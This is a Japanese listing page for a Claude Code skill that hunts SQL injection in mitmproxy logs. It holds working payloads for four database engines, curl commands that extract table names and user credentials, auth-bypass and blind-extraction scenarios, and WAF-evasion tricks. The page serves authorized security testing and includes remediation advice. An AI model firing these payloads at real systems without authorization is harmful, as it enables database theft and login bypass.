mitm-find-sqli について
mitmproxyの通信ログからSQLインジェクションの兆候を調べるセキュリティテスト用スキルです。入力箇所の特定、応答の比較、検出内容の記録を支援します。
主な機能
- 01注入されやすいパラメーターの特定
- 02データベースエラーの確認
- 03ブール条件と時間差応答の比較
- 04一般的な注入箇所の確認
- 05種類と深刻度別の検出内容整理
活用シーン
- 01記録したAPIリクエストの入力確認
- 02データベース関連エラー応答の調査
- 03真偽条件による応答の比較
- 04SQLインジェクション疑いの記録
インストール
コマンドをコピーしてターミナルで実行します。
$
npx skills add https:/ / github.com/ instavm/ security-skills --skill mitm-find-sqliインストール後、Claude Code で/mitm-find-sqliを入力して読み込まれたか確認します。
詳細
SQL インジェクションの脆弱性を探す
次の対象について、mitmproxy のダンプ(log.txt)を分析し、SQL インジェクションの脆弱性を探します:$ARGUMENTS
必要条件: 現在のディレクトリに
log.txtが必要です。ない場合は、先にトラフィックをキャプチャしてください:mitmdump --set flow_detail=3 2>&1 | tee log.txt
価値の高い SQLi パターン(HackerOne の実際の報奨金レポート 99 件より)
1. よくある脆弱なパラメーター
SQLi に脆弱なことが多いパラメーター:
id, user_id, product_id, order_id, item_id
search, query, q, keyword, term, filter
sort, order, orderby, sortby, column
category, cat, type, status, name
from, to, start, end, date, time
page, limit, offset, per_page
callback, jsonp, format
file, path, template, view
検索パターン:
grep -iE '(id|search|query|sort|order|filter|category|name|type)[=:]["'\'']?[^&"'\'']+' log.txt
2. インジェクションポイント
URL パスパラメーター
/api/users/123 → /api/users/123'
/products/category/electronics → /products/category/electronics'--
クエリパラメーター
?id=1 → ?id=1' OR '1'='1
?search=test → ?search=test' UNION SELECT--
?sort=name → ?sort=name;DROP TABLE--
リクエストボディ(JSON)
{"user_id": "1"} → {"user_id": "1' OR '1'='1"}
{"filter": {"name": "test"}} → {"filter": {"name": "test' OR '1'='1"}}
ヘッダー
X-Forwarded-For: 127.0.0.1' OR '1'='1
Cookie: session=abc' UNION SELECT--
3. データベース固有のペイロード
MySQL
' OR '1'='1
' UNION SELECT NULL,NULL,NULL--
' AND SLEEP(5)--
' AND (SELECT * FROM (SELECT(SLEEP(5)))a)--
PostgreSQL
' OR '1'='1
'; SELECT pg_sleep(5)--
' UNION SELECT NULL,NULL,NULL--
MSSQL
' OR '1'='1
'; WAITFOR DELAY '0:0:5'--
' UNION SELECT NULL,NULL,NULL--
Oracle
' OR '1'='1
' AND DBMS_PIPE.RECEIVE_MESSAGE('a',5)--
' UNION SELECT NULL,NULL FROM DUAL--
検出手法
エラーベースの検出
レスポンス内のデータベースエラーを探します:
grep -iE '(sql|mysql|oracle|postgres|sqlite|syntax error|query|database|ORA-|PG::|Microsoft SQL)' log.txt
時間ベースの検出
スリープペイロードでテストし、レスポンス時間を測定します:
# Baseline
time curl 'https://target.com/api/user?id=1'
# Test
time curl 'https://target.com/api/user?id=1%27%20AND%20SLEEP(5)--'
ブールベースの検出
レスポンスを比較します:
# True condition
curl 'https://target.com/api/user?id=1%20AND%201=1'
# False condition
curl 'https://target.com/api/user?id=1%20AND%201=2'
# Different response = potentially vulnerable
UNION ベースの検出
# Find column count
curl 'https://target.com/api/search?q=test%27%20UNION%20SELECT%20NULL--'
curl 'https://target.com/api/search?q=test%27%20UNION%20SELECT%20NULL,NULL--'
curl 'https://target.com/api/search?q=test%27%20UNION%20SELECT%20NULL,NULL,NULL--'
深刻度の評価
| 種類 | 深刻度 | 影響 |
|---|---|---|
| データ抽出(UNION) | CRITICAL | データベースへの完全なアクセス |
| 認証バイパス | CRITICAL | 認証情報なしでログイン |
| ブラインド SQLi(時間ベース) | HIGH | 低速なデータ抽出 |
| エラーベースの情報漏えい | MEDIUM | データベース構造の漏えい |
| 限定的なインジェクション(フィルタリングあり) | LOW | 権限昇格の可能性 |
テスト方法
ステップ 1:入力ポイントを特定する
# Find all parameters in traffic
grep -oE '[?&][a-zA-Z_]+=' log.txt | sort -u
# Find JSON body parameters
grep -oE '"[a-zA-Z_]+":' log.txt | sort -u
ステップ 2:基本的なペイロードをテストする
# Single quote test
curl 'https://target.com/api/item?id=1%27'
# Comment test
curl 'https://target.com/api/item?id=1--'
# Boolean test
curl 'https://target.com/api/item?id=1%20AND%201=1'
ステップ 3:データベースの種類を特定する
# MySQL
curl 'https://target.com/api/item?id=1%27%20AND%20@@version--'
# PostgreSQL
curl 'https://target.com/api/item?id=1%27%20AND%20version()--'
# MSSQL
curl 'https://target.com/api/item?id=1%27%20AND%20@@SERVERNAME--'
ステップ 4:データを抽出する(脆弱性がある場合)
# Get database name
curl 'https://target.com/api/search?q=%27%20UNION%20SELECT%20database(),NULL,NULL--'
# Get table names
curl 'https://target.com/api/search?q=%27%20UNION%20SELECT%20table_name,NULL,NULL%20FROM%20information_schema.tables--'
実際の攻撃シナリオ
シナリオ 1:認証バイパス
Login form: username=admin&password=xxx
Payload: username=admin'--&password=anything
Query becomes: SELECT * FROM users WHERE username='admin'--' AND password='anything'
Result: Logs in as admin without password
シナリオ 2:UNION によるデータ抽出
Search: /api/search?q=test
Payload: /api/search?q=test' UNION SELECT username,password,email FROM users--
Query becomes: SELECT name,desc,price FROM products WHERE name='test' UNION SELECT username,password,email FROM users--
Result: Dumps user credentials
シナリオ 3:ブラインド SQLi によるデータ抽出
/api/user?id=1' AND (SELECT SUBSTRING(password,1,1) FROM users WHERE username='admin')='a'--
Response time or content difference reveals if first char is 'a'
Repeat for each character position
WAF のバイパス手法
エンコーディング
' → %27 → %2527 (double encode)
UNION → UnIoN (case variation)
SELECT → /*!SELECT*/ (MySQL comment)
代替構文
AND → &&
OR → ||
UNION SELECT → UNION ALL SELECT
' → "
コメントの挿入
/**/UNION/**/SELECT/**/
UN/**/ION/**/SE/**/LECT
出力形式
## SQLi Finding: [Brief Description]
**Endpoint**: `METHOD https://target.com/path`
**Parameter**: `param_name` in [query|body|path|header]
**Database**: [MySQL|PostgreSQL|MSSQL|Oracle|Unknown]
**Type**: [Error-based|Union|Blind Boolean|Blind Time]
**Severity**: [CRITICAL|HIGH|MEDIUM|LOW]
**Evidence**:
[Request with payload and response showing vulnerability]
**Payload Used**:
' OR '1'='1
**Impact**:
- Database dump possible
- Authentication bypass
- Data modification/deletion
**Test Command**:
curl 'https://target.com/api/...?id=1%27%20OR%20%271%27=%271'
**Remediation**:
- Use parameterized queries / prepared statements
- Input validation and sanitization
- Least privilege database accounts
- WAF rules for SQLi patterns
無視する誤検知
- クライアント側でのみ使用されるパラメーター
- データベース情報を明らかにしないエラー
- テストをブロックするレート制限付きエンドポイント
- 特定の形式(UUID、数値)のみを受け付けるパラメーター
- GraphQL エンドポイント(異なるインジェクションパターン)
コメント
Markdown 対応